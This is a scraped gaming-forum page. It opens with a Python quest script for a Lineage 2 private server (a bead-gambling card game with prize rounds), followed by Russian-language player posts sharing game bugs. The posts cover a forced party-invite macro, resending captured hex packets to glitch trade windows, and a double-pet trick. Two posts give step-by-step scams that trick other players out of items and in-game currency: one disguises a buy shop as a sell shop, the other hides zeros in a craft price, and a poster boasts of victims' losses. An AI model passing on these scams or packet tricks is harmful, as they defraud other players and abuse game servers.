beads=st.getQuestItemsCount(SPIRIT_BEAD) # get beads count, it must be > 1 if beads<1: htmltext = "Wilbert_Practice_NotEnoughBeads.htm" else: st.takeItems(SPIRIT_BEAD,1) # take one bead as payment for luck test random=st.getRandom(100) if random<WIN_ROUND_CHANCE: # random value is in range [0..WIN_ROUND_CHANCE] htmltext = "Wilbert_PracticeWon.htm" else: # lose practice :( htmltext = "Wilbert_PracticeLost.htm" elif event == "Wilbert_LetsPlay.htm": # "Let's play" pressed beads=st.getQuestItemsCount(SPIRIT_BEAD) if beads<50: htmltext = "Wilbert_Practice_NotEnoughBeads.htm" else: htmltext = "Wilbert_PlayRound1.htm" st.set("round","0") elif event == "Wilbert_PullCard.htm": # "Pull first or next card" pressed round=st.getInt("round") beads=st.getQuestItemsCount(SPIRIT_BEAD) if beads<50 and round == 0: # check for 50 beads when game just starts only (round=0) htmltext = "Wilbert_Practice_NotEnoughBeads.htm" else: if round == 0: # take 50 beads when game just starts only (round=0) st.takeItems(SPIRIT_BEAD,50) random=st.getRandom(100) if random>WIN_ROUND_CHANCE: # random value is in range [WIN_ROUND_CHANCE..100] htmltext = "Wilbert_PlayLose.htm" st.set("round","0") # restart game else: # next round won round = round + 1 htmltext = st.showHtmlFile("Wilbert_PlayWin.htm").replace("NROUND", str(round)) if round == 1: htmltext = htmltext.replace("MYPRIZE","40,000 adena") if round == 2: htmltext = htmltext.replace("MYPRIZE","80,000 adena") if round == 3: htmltext = htmltext.replace("MYPRIZE","110,000 adena, D-grade Enchant Weapon Scroll") if round == 4: htmltext = htmltext.replace("MYPRIZE","199,000 adena, C-grade Enchant Weapon Scroll") if round == 5: htmltext = htmltext.replace("MYPRIZE","388,000 adena, 1 recipe for a B-grade weapon") if round == 6: htmltext = htmltext.replace("MYPRIZE","675,000 adena, 1 essential ingredient for a B-grade weapon") if round == 7: htmltext = htmltext.replace("MYPRIZE","1,284,000 adena, 2 B-grade Enchant Weapon Scrolls, 2 B-grade Enchat Armor Scrolls") if round == 8: # reached round 8; give prizes and restart game round = 0 st.giveItems(ADENA,2384000) st.giveItems(EWA,1) # Scroll: Enchant Weapon A st.giveItems(EAA,2) # Scroll: Enchant Armor A htmltext = "Wilbert_PlayWonRound8.htm" st.set("round",str(round)) elif event == "Wilbert_TakePrize.htm": # player won round and wants to stop game and take prize round=st.getInt("round") if round == 0: # player did not win any round but wants to take prize? O_o htmltext = "<html><body>You did not win any round! No prizes.</body></html>" return htmltext if round > 8: # some bug or hack? st.set("round","0") htmltext = "<html><body>Round cannot be > 8 !!!</body></html>" return htmltext st.set("round","0") # first set round to 0 - game ended. htmltext = "Wilbert_PrizeTaken.htm" # give prize depending on current round won if round == 1: st.giveItems(ADENA,40000) elif round == 2: st.giveItems(ADENA,80000) elif round == 3: st.giveItems(ADENA,110000) st.giveItems(EWD,1) # Scroll: Enchant Weapon D elif round == 4: st.giveItems(ADENA,199000) st.giveItems(EWC,1) # Scroll: Enchant Weapon C elif round == 5: st.giveItems(ADENA,388000) # 60% B-weap. rec number is random st.giveItems(B_RECIPES[st.getRandom(len(B_RECIPES))], 1) elif round == 6: st.giveItems(ADENA,675000) # B-weap. key number is random st.giveItems(B_KEYMATS[st.getRandom(len(B_KEYMATS))], 1) elif round == 7: st.giveItems(ADENA,1284000) st.giveItems(EWB,2) # Scroll: Enchant Weapon B st.giveItems(EAB,2) # Scroll: Enchant Armor B # for round 8 prize is automatically when player wins 8 round return htmltext def onTalk (self,npc,player): st = player.getQuestState(qn) htmltext = "<html><body>You are either not on a quest that involves this NPC, or you don't meet this NPC's minimum quest requirements.</body></html>" if not st : return htmltext npcId = npc.getNpcId() id = st.getState() # first talk to Wilbert if npcId == WILBERT and id == State.CREATED: if player.getLevel() >= 50 : # check player level htmltext = "Wilbert_start.htm" else: htmltext = "<html><body>This quest is for characters above level 50 only.</body></html>" st.exitQuest(1) # talk to Wilbert when quest already in progress elif npcId == WILBERT and id == State.STARTED : htmltext = "Wilbert_QuestInProgress.htm" return htmltext def onKill(self,npc,player,isPet): st = player.getQuestState(qn) if not st : return if st.getState() != State.STARTED : return npcId = npc.getNpcId() if npcId in MOBS: if st.getRandom(100) < DROP_CHANCE: st.giveItems(SPIRIT_BEAD,1) st.playSound("ItemSound.quest_itemget") return QUEST = Quest(663,qn,"Seductive Whispers") QUEST.addStartNpc(WILBERT) QUEST.addTalkId(WILBERT) for mobId in MOBS: QUEST.addKillId(mobId)
  13. Если у вас на сервере при каджом логине с проклятым оружием есть анимация трансформации, то должно сработать. Перс 1 - кидающий пати. Перс 2 - с проклятым оружием. 1.Создаем персу 1 макрос "/invite ник перса с проклятым оружием"и ставим на панель. 2.Персом 2 делаем релог. 3.Персом 1 жмем постоянно на макрос. 4.При логине персу 2 кидается инвайт в пати. Так же можно попытаться кинуть баф персу 2. Полезен для телепорта в любое место с помощью варка,или саммонера. Тестил на Хеллбоунд ПТС. работает l2atlant.ru
  14. Вобщем толк от бага нету но все же это баг и можно чисто попонтаватся перед друзьями.И так начнем: 1)Для начала садимся что то продавать и в тексте пишем тра-та-та, потом ловим пакет он будет примерно такого вида Код 74 00 00 00 00 01 00 00 00 6C 06 01 10 01 00 00 00 01 00 00 00 2)Теперь садимся покупать либо и пишем текст: Рулит! он будет примерно такого вида Код 91 01 00 00 00 E2 02 00 00 00 00 00 00 01 00 00 00 01 00 00 00 Посылаем на отправку 600-700мс по желанию) и дальше смотрите на видео что у вас будет)
  15. Можно еще юзать сое пока оба не окажуться в 1 точке
  16. Может уже и было где-то На многих фришках пашет. Вообщем регистрируем 2 акаунта, создаем 2 чара с никами примером: NPC и NPO. Далее нужно поставить ровно в 1 точку (проще всего на спотах в городах, или прописать на обоих чарах /move и одинаковы координаты). После этого 1го садим на продажу любых предметов, по любой цене, потом этим окном просто выходим с игры (релогнуться во время торга нельзя). 2м чаром садимся на скупку и вуаля, чар садится на скупку, а над ним "фиолетовая" надпись "частная лавка: продаю" . Лучше всего использовать на пвп серверах, где ГМы не придадут этому большого внимания и где проще скупать точеные шмотки ( ставим на скупку, примером, пустую арку, подходит "нуб" с аркой +16 в инвентаре и якобы видит, что вы продаете арку +16 за 1к)
  17. вот нашел легки способ для его набива думаю некоторые знают. 1.напоминаю для хорошего дропа эпалетов надо быть дет 61 лвл. почему 61 лвл? потому что дроп на таком лвл гуд и можно одетсо в А. лучше брать мага особено с масс скилом для фарма 2.Способ таков просиш своего кл что бы он разрешил осаду на вашей крепосте. Дальше создаем чара качаем до дет 50 лвл и создаем клан 4 лвл или же просим знакомых, друзей или Альясн что бы они зарегались на ваш форт, (набивать мона как 61 лвл основой так и сабом). Вот в чем заключаетсо такой способ 1.тебя небудет валить вся крепость нпц 2. набив на таком лвл оч хороши дет 60% шанса что выпадет 2-7 эпалета с гварда.3.никого риска умереть от нпц в крепосте тупо фармиш и всо. 3. так же напоминаю что эпалеты можно тратить в крепосте (для покупки браслетов ,нижнего белья А грейда и т.д. так же мона купить за эпалеты у торговцев которые багают возле крепости (ет у них регестрация на осаду идет но они так же и продают предметы))
  18. знаю от бага мало пользы но все же малоли кому понадобитсо 1.призываем питомца каст доходит до половины и жмем ESC жмем пофторный призыв и заного ESC 2.когда первый пет появляетсо быстро жмем сесть на него спустя пару секунд появляетсо второй хопа у вас 2 пета http://la2.byfly.by http://dump.ru/file/3788918
  19. Садимся на крафт ресов, и пишем типо дешевый крафт по 400аден, а сами например ставим 400кк, а три последних нуля плохо видно, и жертвы могут не увидеть нули. Можно получить не плохой заработок аден)). П.С На нашем форуме ненашел такого развода, этот развод давно видел на АЧ и еще на каких-то форумах, но не придавал ему внимания)). Просто седня я обратил внимание как сходил к другу он мне начал рассказывать как его так развели на 400кк))). Сейчас он посадил своего твинка крафтера так разводить, Я ему ток что звонил, уже 5кк говорит заработал)). Даже если баян, но рабочий)). Да и еще если это на нашем форуме есть, то тему делейт.)
×
×
  • Create New...